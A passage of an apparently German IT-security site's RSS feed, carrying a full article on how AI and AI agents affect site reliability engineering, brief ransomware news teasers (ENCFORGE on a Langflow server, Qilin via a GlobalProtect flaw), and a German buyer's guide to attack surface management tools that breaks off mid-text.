<description><![CDATA[The collaboration marks the latest big tech customer for AMD’s “game changer” Helios system]]></description>
<link>https://tsecurity.de/de/3683200/it-security-nachrichten/amd-adds-microsoft-to-its-growing-roster-of-helios-customers-as-firm-launches-three-new-vms-for-azure-customers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683200/it-security-nachrichten/amd-adds-microsoft-to-its-growing-roster-of-helios-customers-as-firm-launches-three-new-vms-for-azure-customers/</guid>
<pubDate>Tue, 21 Jul 2026 11:39:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The collaboration marks the latest big tech customer for AMD’s “game changer” Helios system]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI impacts site reliability engineering]]></title>
<description><![CDATA[Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robus...]]></description>
<link>https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.</p>



<p class="wp-block-paragraph">Google introduced its <a href="https://sre.google/sre-book/part-I-introduction/">SRE playbook</a> in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3689881/career-paths-for-devops-engineers-and-sres.html">SRE is a career path</a> for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is <a href="https://drive.starcio.com/2025/02/emerging-genai-roles-hr-tech-security/">a growing role in the genAI era</a> as more businesses <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">deploy AI agents</a>.</p>



<p class="wp-block-paragraph">But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the <a href="https://neubird.ai/resources/state-of-production-reliability-and-ai-adoption/">2026 State of Production Reliability and AI Adoption report</a>, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.</p>



<p class="wp-block-paragraph">So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.</p>



<h2 class="wp-block-heading">AIops and agentic ops aid SREs</h2>



<p class="wp-block-paragraph">Over the past decade, SRE responsibilities have become somewhat easier through improvements in <a href="https://www.infoworld.com/article/2263821/5-devops-practices-to-improve-application-reliability.html">monitoring platforms</a>, <a href="https://www.infoworld.com/article/3686056/best-practices-for-devops-observability.html">observability practices</a>, <a href="https://www.infoworld.com/article/2261769/what-is-the-ai-in-aiops.html">tools for centralizing operational data</a>, and <a href="https://drive.starcio.com/2022/01/aiops-cio/">AI applied in IT operations</a> (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.</p>



<p class="wp-block-paragraph">According to the <a href="https://komodor.com/resources/komodor-2025-enterprise-kubernetes-report/">Komodore 2025 Enterprise Kubernetes Report</a>, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.</p>



<p class="wp-block-paragraph">“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at <a href="https://komodor.com/">Komodor</a>. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2022/05/aiops-ml-multicloud/">AIops</a> is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to <a href="https://drive.starcio.com/2021/11/p1-incidents-long-resolution-times/">reduce the mean time to resolve incidents</a> and to perform accurate <a href="https://drive.starcio.com/2021/12/kpi-agile-devops-itops/">root cause analysis</a> (RCA) efficiently. <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">Agentic ops</a> is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.</p>



<p class="wp-block-paragraph"> “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at <a href="https://openobserve.ai/">OpenObserve</a>. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”</p>



<h2 class="wp-block-heading">AI’s impact on people and burnout</h2>



<p class="wp-block-paragraph">The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to <a href="https://www.catchpoint.com/learn/sre-report-2025">The SRE Report 2025</a> from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.</p>



<p class="wp-block-paragraph">“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at <a href="https://www.groundcover.com/">Groundcover</a>. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”</p>



<p class="wp-block-paragraph">Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EDB Postgres AI</a>, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”</p>



<p class="wp-block-paragraph">AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “<a href="https://drive.starcio.com/2021/04/it-digital-operations-aiops/">war rooms</a>” to coordinate root cause analyses.</p>



<p class="wp-block-paragraph">“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of <a href="https://resolve.ai/">Resolve AI</a>. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” </p>



<h2 class="wp-block-heading">AI agent reliability</h2>



<p class="wp-block-paragraph">While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code generators</a>, <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development</a> is adding to their workloads. <a href="https://www.braiviq.com/blog/vibe-coding-ai-development-2026-cursor-copilot-claude-code">According to one study</a>, 41% of all global code is now AI-generated, and <a href="https://www.hostinger.com/blog/vibe-coding-statistics">Gartner predicts</a> that 40% of new enterprise production software will be created using vibe coding techniques by 2028.</p>



<p class="wp-block-paragraph">But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, <a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report">according to CodeRabbit</a>. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at <a href="https://neubird.ai/">NeuBird AI</a>. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”</p>



<p class="wp-block-paragraph">The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">Model Context Protocol servers</a> to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. </p>



<p class="wp-block-paragraph">“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at <a href="https://www.sandboxaq.com/">SandboxAQ</a>. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”</p>



<p class="wp-block-paragraph">“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at <a href="https://ciroos.ai/">Ciroos</a>. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”</p>



<p class="wp-block-paragraph">SREs should take a leadership role in emerging best practices, including defining their standards for AI agent <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional acceptance criteria</a>, <a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">observability practices</a>, and <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">release-readiness criteria</a>. SREs should update their <a href="https://www.infoworld.com/article/3684268/tools-to-manage-slos-and-error-budgets.html">service-level objectives</a> (SLOs) and define error budgets for AI agents in production.</p>



<p class="wp-block-paragraph">Ryan Downing, vice president and CIO of enterprise business solutions at <a href="https://www.principal.com/">Principal Financial Group</a>, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”</p>



<h2 class="wp-block-heading">AI raises the SRE’s business impact</h2>



<p class="wp-block-paragraph">The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">rogue AI agents</a> and the impacts of <a href="https://www.infoworld.com/article/4040513/how-to-avoid-the-risks-of-rapidly-deploying-ai-agents.html">rapidly deploying new agentic capabilities</a>. </p>



<p class="wp-block-paragraph">“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at <a href="https://www.smarsh.com/">Smarsh</a>. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”</p>



<p class="wp-block-paragraph">The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ENCFORGE Ransomware Targets AI Model Files in Langflow RCE Attack]]></title>
<description><![CDATA[Researchers at Sysdig have linked a second attack on the same Langflow server to JADEPUFFER, the AI-agent-driven operator it first documented earlier this month. The same operator has now been spotted deploying ENCFORGE, a new compiled Go ransomware designed to…
Read more →
The post New ENCFORGE ...]]></description>
<link>https://tsecurity.de/de/3682977/it-security-nachrichten/new-encforge-ransomware-targets-ai-model-files-in-langflow-rce-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682977/it-security-nachrichten/new-encforge-ransomware-targets-ai-model-files-in-langflow-rce-attack/</guid>
<pubDate>Tue, 21 Jul 2026 10:08:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Researchers at Sysdig have linked a second attack on the same Langflow server to JADEPUFFER, the AI-agent-driven operator it first documented earlier this month. The same operator has now been spotted deploying ENCFORGE, a new compiled Go ransomware designed to…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/new-encforge-ransomware-targets-ai-model-files-in-langflow-rce-attack/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/new-encforge-ransomware-targets-ai-model-files-in-langflow-rce-attack/">New ENCFORGE Ransomware Targets AI Model Files in Langflow RCE Attack</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ENCFORGE Ransomware Targets AI Model Files in Langflow RCE Attack]]></title>
<description><![CDATA[Researchers at Sysdig have linked a second attack on the same Langflow server to JADEPUFFER, the AI-agent-driven operator it first documented earlier this month.

The same operator has now been spotted deploying ENCFORGE, a new compiled Go ransomware designed to encrypt model weights, vector inde...]]></description>
<link>https://tsecurity.de/de/3682945/it-security-nachrichten/new-encforge-ransomware-targets-ai-model-files-in-langflow-rce-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682945/it-security-nachrichten/new-encforge-ransomware-targets-ai-model-files-in-langflow-rce-attack/</guid>
<pubDate>Tue, 21 Jul 2026 09:54:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers at Sysdig have linked a second attack on the same Langflow server to JADEPUFFER, the AI-agent-driven operator it first documented earlier this month.

The same operator has now been spotted deploying ENCFORGE, a new compiled Go ransomware designed to encrypt model weights, vector indexes, training datasets, and other AI infrastructure files across the host filesystem.

The entry]]></content:encoded>
</item>
<item>
<title><![CDATA[Qilin Ransomware Exploits Palo Alto GlobalProtect Flaw for Initial Access]]></title>
<description><![CDATA[Threat actors deploying Qilin ransomware exploited a Palo Alto Networks GlobalProtect authentication bypass flaw, CVE-2026-0257, as the consistent initial access vector across multiple June 2026 intrusions investigated by Arctic Wolf Labs. The campaign moved rapidly from perimeter compromise to d...]]></description>
<link>https://tsecurity.de/de/3682747/it-security-nachrichten/qilin-ransomware-exploits-palo-alto-globalprotect-flaw-for-initial-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682747/it-security-nachrichten/qilin-ransomware-exploits-palo-alto-globalprotect-flaw-for-initial-access/</guid>
<pubDate>Tue, 21 Jul 2026 07:37:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Threat actors deploying Qilin ransomware exploited a Palo Alto Networks GlobalProtect authentication bypass flaw, CVE-2026-0257, as the consistent initial access vector across multiple June 2026 intrusions investigated by Arctic Wolf Labs. The campaign moved rapidly from perimeter compromise to domain-wide encryption, with post-exploitation tactics varying between affiliates operating under Qilin’s ransomware-as-a-service model. CVE-2026-0257 (CVSS 7.8) […]</p>
<p>The post <a href="https://cyberpress.org/qilin-ransomware-exploits-palo-alto-globalprotect-flaw/">Qilin Ransomware Exploits Palo Alto GlobalProtect Flaw for Initial Access</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Attack Surface Management – ein Kaufratgeber]]></title>
<description><![CDATA[Mit diesen Attack Surface Management Tools sorgen Sie im Idealfall dafür, dass sich Angreifer gar nicht erst verbeißen.Sergey Zaykov | shutterstock.com



Regelmäßige Netzwerk-Scans reichen für eine gehärtete Angriffsfläche nicht mehr aus. Um die Sicherheit von Unternehmensressourcen und Kundenda...]]></description>
<link>https://tsecurity.de/de/3682636/it-security-nachrichten/attack-surface-management-ein-kaufratgeber/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682636/it-security-nachrichten/attack-surface-management-ein-kaufratgeber/</guid>
<pubDate>Tue, 21 Jul 2026 06:24:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/Sergey-Zaykov-shutterstock_1617411478_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Cat Bite 16z9" class="wp-image-4082002" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Mit diesen Attack Surface Management Tools sorgen Sie im Idealfall dafür, dass sich Angreifer gar nicht erst verbeißen.</figcaption></figure><p class="imageCredit">Sergey Zaykov | shutterstock.com</p></div>



<p class="wp-block-paragraph">Regelmäßige Netzwerk-Scans reichen für eine gehärtete Angriffsfläche nicht mehr aus. Um die Sicherheit von Unternehmensressourcen und Kundendaten zu gewährleisten, ist eine kontinuierliche Überwachung auf neue Ressourcen und Konfigurationsabweichungen erforderlich. Werkzeuge aus den Bereichen <strong>Cyber Asset Attack Surface Management (CAASM)</strong> sowie <strong>External Attack Surface Management (EASM)</strong> sind darauf ausgelegt, die Angriffsfläche von Unternehmen:</p>



<ul class="wp-block-list">
<li><p> zu quantifizieren,</p></li>



<li><p> zu minimieren, und</p></li>



<li><p> zu härten.</p></li>
</ul>



<p class="wp-block-paragraph">Das Ziel besteht dabei darin, den Angreifern <a title="möglichst wenig Informationen" href="https://www.computerwoche.de/article/2795282/wie-viel-wissen-hacker-ueber-sie.html" target="_blank">möglichst wenig Informationen</a> über das Security-Niveau des Unternehmens zu geben und gleichzeitig kritische Business Services aufrechtzuerhalten. Dabei spielt inzwischen auch Agentic AI eine immer größere Rolle. </p>



<h2 class="wp-block-heading">12 Attack-Surface-Management-Tools</h2>



<p class="wp-block-paragraph">Die folgenden zwölf Lösungen unterstützen Sie dabei, Risiken zu identifizieren und zu managen.</p>



<p class="wp-block-paragraph"><a href="https://www.axonius.com/platform" target="_blank" rel="noreferrer noopener"><strong>Axonius Cyber Asset Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">Diese CAASM-Suite von Axonius deckt alle wichtigen Aspekte ab, wenn es um Attack Surface Monitoring geht. Das Tool erstellt zunächst ein Asset-Inventar, das automatisch aktualisiert und mit Kontext aus internen Datenquellen und Ressourcen angereichert wird.</p>



<p class="wp-block-paragraph">Dabei ist es auch möglich, Monitoring-Prozesse aufzusetzen, die auf Grundlage von Richtlinien wie PCI oder HIPAA ablaufen. So lassen sich Konfigurationen oder Schwachstellen identifizieren, die diesen zuwiderlaufen und entsprechende Maßnahmen ergreifen.</p>



<p class="wp-block-paragraph"><a href="https://www.bugcrowd.com/products/attack-surface-management/" target="_blank" rel="noreferrer noopener"><strong>Bugcrowd EASM</strong></a></p>



<p class="wp-block-paragraph">Bugcrowd hat im Mai 2024 Informer.io übernommen und dessen EASM-Angebot in seine Security-Plattform integriert. Diese automatisiert die Asset Discovery über Webapplikationen, APIs und andere “public facing”-Komponenten des IT-Stacks hinweg.</p>



<p class="wp-block-paragraph">Assets überwacht die Lösung kontinuierlich, wobei identifizierte Risiken in Echtzeit priorisiert werden. Darüber hinaus stehen auch Zusatz-Services wie manuelle Risikoprüfungen oder Penetrationstests zur Verfügung. Das Workflow-basierte Response-System der Lösung verspricht eine einfachere Einbindung mehrerer Teams, indem existierende Ticketing- und Kommunikations-Tools integriert werden. Praktisch ist auch die Möglichkeit, Konfigurationsänderungen oder System Updates zu validieren, um sicherzustellen, dass identifizierte Bedrohungen tatsächlich bereinigt wurden.  </p>



<p class="wp-block-paragraph"><a href="https://www.crowdstrike.com/products/security-and-it-operations/falcon-surface/" target="_blank" rel="noreferrer noopener"><strong>CrowdStrike Falcon Exposure Management</strong></a></p>



<p class="wp-block-paragraph">Crowdstrike hat sein Falcon-Surface-Angebot von einem Standalone EASM-Tool zu einem Kernbestandteil von Falcon Exposure Management ausgebaut. Die Lösung wird nun auch durch KI-nativen Code dabei unterstützt, Risiken zu identifizieren und auszuschalten. Darüber hinaus kommt die Technologie auch für Adversarial-AI-Szenarien zum Einsatz.</p>



<p class="wp-block-paragraph">Die Crowdstrike-Lösung kann außerdem:</p>



<ul class="wp-block-list">
<li>Risiken mit dem Business-Kontext korrelieren,</li>



<li>die Ausnutzbarkeit validieren und</li>



<li>direkte Abhilfemaßnahmen über die Falcon-Plattform einleiten.</li>
</ul>



<p class="wp-block-paragraph">Unternehmen sollen sich mit dem Tool einen nachhaltigen Überblick über ihre Angriffsfläche verschaffen und Risiken oder Bedrohungen mit einer Vielzahl von Techniken aufspüren können. Dazu gehören etwa aktive, passive und API-basierte Scans, um mit dem Internet verbundene Ressourcen zu identifizieren.</p>



<p class="wp-block-paragraph">Falcon Exposure Management ist nicht Teil des Enterprise-Softwarepakets von Crowdstrike. Es kann als Abonnementlizenz auf Basis der gemanagten Endpunkte erworben werden.</p>



<p class="wp-block-paragraph"><a href="https://www.cycognito.com/attack-surface-management" target="_blank" rel="noreferrer noopener"><strong>CyCognito Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">Das CAASM-Produkt von CyCognito bietet eine kontinuierliche Überwachung und Inventarisierung von Assets. Dabei spielt es keine Rolle, ob diese On-Premises, in der Cloud, bei einem Drittanbieter oder einer Tochtergesellschaft vorliegen.</p>



<p class="wp-block-paragraph">Um den Triage-Prozess und die Risiko-Priorisierung zu erleichtern, kann auch Business-Kontext hinzugefügt werden (beispielsweise Beziehungen zwischen einzelnen Assets). Das hilft dabei, sich auf die wichtigsten Netzwerkrisiken zu konzentrieren. CyCognitos Tool verfolgt darüber hinaus auch Konfigurationsänderungen und ermöglicht so, neue Risiken für die Unternehmensinfrastruktur schnell zu identifizieren.</p>



<p class="wp-block-paragraph"><a href="https://www.jupiterone.com/cyber-asset-attack-surface-management" target="_blank" rel="noreferrer noopener"><strong>JupiterOne Cyber Asset Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">JupiterOne preist seine CAASM-Lösung als eine Möglichkeit an, “Cyber-Asset-Daten nahtlos in einer einheitlichen Ansicht zu aggregieren”. Der Kontext wird bei Bedarf automatisch hinzugefügt, und die Beziehungen zwischen den Assets können definiert und optimiert werden, um <a href="https://www.csoonline.com/article/3495294/schwachstellen-managen-die-6-besten-vulnerability-management-tools.html" target="_blank">Schwachstellenanalyse</a> und Incident-Response-Fähigkeiten zu verbessern.</p>



<p class="wp-block-paragraph">Benutzerdefinierte Abfragen ermöglichen es Cybersecurity-Teams, komplexe Fragen zu beantworten, während der Asset-Bestand über eine interaktive Map durchsucht werden kann. Die Security-Tools, in die Sie bereits investiert haben, können Sie integrieren – was eine ganzheitliche, zentralisierte Perspektive auf das Security-Niveau zulässt.</p>



<p class="wp-block-paragraph"><a href="https://azure.microsoft.com/de-de/products/defender-external-attack-surface-management/" target="_blank" rel="noreferrer noopener"><strong>Microsoft Defender External Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">Microsoft Defender EASM erkennt nicht verwaltete Assets und Ressourcen, die per Schatten-IT bereitgestellt werden oder sich auf anderen Cloud-Plattformen befinden. Sobald die Assets und Ressourcen identifiziert sind, sucht das Tool nach Schwachstellen auf jeder Ebene des Technologie-Stacks, einschließlich der zugrunde liegenden Plattform, App-Frameworks, Webanwendungen, Komponenten und des Kerncodes.</p>



<p class="wp-block-paragraph">Defender EASM ermöglicht es IT-Profis, Schwachstellen in neu entdeckten Ressourcen schnell zu beheben, indem diese nach Entdeckung in Echtzeit kategorisiert und priorisiert werden. Naturgemäß lässt sich Defender EASM eng mit anderen Microsoft-Lösungen wie Security Copilot integrieren.</p>



<p class="wp-block-paragraph"><a href="https://outpost24.com/products/external-attack-surface-management/" target="_blank" rel="noreferrer noopener"><strong>Outpost24 EASM</strong></a></p>



<p class="wp-block-paragraph">Der schwedische Anbieter Outpost24 hat 2023 den belgischen EASM-Anbieter Sweepatic übernommen und dessen Tool in seine Modul-Kollektion für Threat Intelligence, Data Leakage und Pentesting integriert. Diese EASM-Lösung ist sowohl Standalone, als auch als Managed Service erhältlich und kann Daten entweder passiv über DNS und andere TCP/IP-Details oder über direkte Verbindungen zu Cloud-Anbietern wie AWS und Azure sowie den Lösungen großer Softwareanbieter (etwa ServiceNow, Slack oder Atlassian) erfassen.</p>



<p class="wp-block-paragraph"><a href="https://www.paloaltonetworks.com/cortex/cortex-xpanse" target="_blank" rel="noreferrer noopener"><strong>Palo Alto Networks Cortex Xpanse</strong></a></p>



<p class="wp-block-paragraph">Xpanse ist Teil der XSIAM-Produktsuite von Palo Alto, kann jedoch auch separat erworben werden. Das Standalone-Produkt hat allerdings einen etwas geringeren Funktionsumfang.</p>



<p class="wp-block-paragraph">Das Palo-Alto-Tool unterstützt auch die Integration mit Tools von Drittanbietern wie Qualys, Jira und ServiceNow. Zudem verfügt das Produkt über eine beeindruckende Auswahl an vorgefertigten Detection-Regeln, Widgets, um Queries und Discovery-Routinen zu erstellen und anpassbare Daten-Dashboards aufzusetzen.</p>



<p class="wp-block-paragraph"><a href="https://www.rapid7.com/de/products/command/attack-surface-management-asm/" target="_blank" rel="noreferrer noopener"><strong>Rapid7 Surface Command</strong></a></p>



<p class="wp-block-paragraph">Surface Command ist nur eines von zahlreichen Modulen, das Rapid7 im Angebot hat (unter anderem Vulnerability und Incident Management sowie Cloud-Native Security). Das Tool bringt Threat Exposure, Detection und Response unter einen Nenner und verspricht eine kontinuierliche „Vogelperspektive“ über sämtliche Schwachstellen – vom Endpunkt bis hin zur Cloud.</p>



<p class="wp-block-paragraph">Das Rapid-7-Tool ist darauf konzipiert, blinde Flecken in der Security aufzuspüren sowie Reaktion und Behebung zu beschleunigen. Für letzteres sind zudem auch agentenbasierte KI-Funktionen enthalten.</p>



<p class="wp-block-paragraph"><a href="https://riskprofiler.io/" target="_blank" rel="noreferrer noopener"><strong>RiskProfiler EASM</strong></a></p>



<p class="wp-block-paragraph">Über die RiskProfiler-Plattform lassen sich sämtliche externen Bedrohungen managen. Das Tool ermöglicht beispielsweise <a href="https://www.computerwoche.de/article/3495708/bedrohungs-monitoring-die-10-besten-tools-zur-darknet-uberwachung.html" target="_blank">Dark-Web-Monitoring</a>, digitales Monitoring sowie Hacking-Kampagnen, Schwachstellen und Supply-Chain-Angriffe zu tracken. Die hieraus gewonnenen Bedrohungsinformationen werden von KI-Agenten zu einem einheitlichen Korpus verdichtet.</p>



<p class="wp-block-paragraph">Bestandteil des Tools sind zudem mehr als 13.000 vorinstallierte Regeln, die sowohl Open-Source- als auch eigene proprietäre Algorithmen miteinander verbinden. Auch die Risikobewertungen von Drittanbietern werden analysiert. Ein anpassbares Management-Dashboard visualisiert die Daten in diversen Ansichten. </p>



<p class="wp-block-paragraph"><a href="https://socradar.io/suites/attack-surface-management/" target="_blank" rel="noreferrer noopener"><strong>SOCRadar AttackMapper</strong></a></p>



<p class="wp-block-paragraph">Mit AttackMapper (ein Teil der Tool-Suite für SOC-Teams), will SOCRadar, den Anwendern die Sicht der Angreifer auf die Assets ermöglichen. Das Tool überwacht Assets mithilfe von Agentic AI dynamisch in Echtzeit, identifiziert neue oder veränderte und analysiert sie auf potenzielle Schwachstellen.</p>



<p class="wp-block-paragraph">Die Ergebnisse werden mit bekannten Angriffsmethoden korreliert, um den Entscheidungsfindungs- und Triageprozess zu unterstützen. Dabei überwacht AttackMapper nicht nur Endpunkte und Software Vulnerabilities, sondern auch SSL-Schwachstellen, abgelaufene Zertifikate, DNS-Einträge und Konfigurationen. Das Tool erkennt selbst Website-Defacement-Angriffe, was entscheidend sein kann, um die Markenreputation zu schützen.</p>



<p class="wp-block-paragraph"><a href="https://de.tenable.com/products/attack-surface-management" target="_blank" rel="noreferrer noopener"><strong>Tenable Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">Tenable hat schon seit einigen Jahren Tools im Angebot, um Schwachstellen aufzuspüren – und auch die aktuelle Tool-Suite wird modernen IT-Sicherheitsanforderungen gerecht. Bei Tenable Attack Surface Management handelt es sich um das EASM-Modul des Unternehmens, das in dessen Exposure-Management-Plattform „One“ integriert ist.</p>



<p class="wp-block-paragraph">Tenable Attack Surface Management liefert Kontext und Details zu Assets und Schwachstellen, allerdings nicht nur aus technischer Sicht, sondern auch auf Business-Ebene, was für eine umfassende Priorisierung der Maßnahmen erforderlich ist.</p>



<h2 class="wp-block-heading">7 Fragen vor dem ASM-Invest</h2>



<p class="wp-block-paragraph">Die folgenden Fragen sollten Sie sich und potenziellen Anbietern von Attack-Surface-Management-Lösungen stellen, bevor Sie einen Vertrag unterzeichnen.</p>



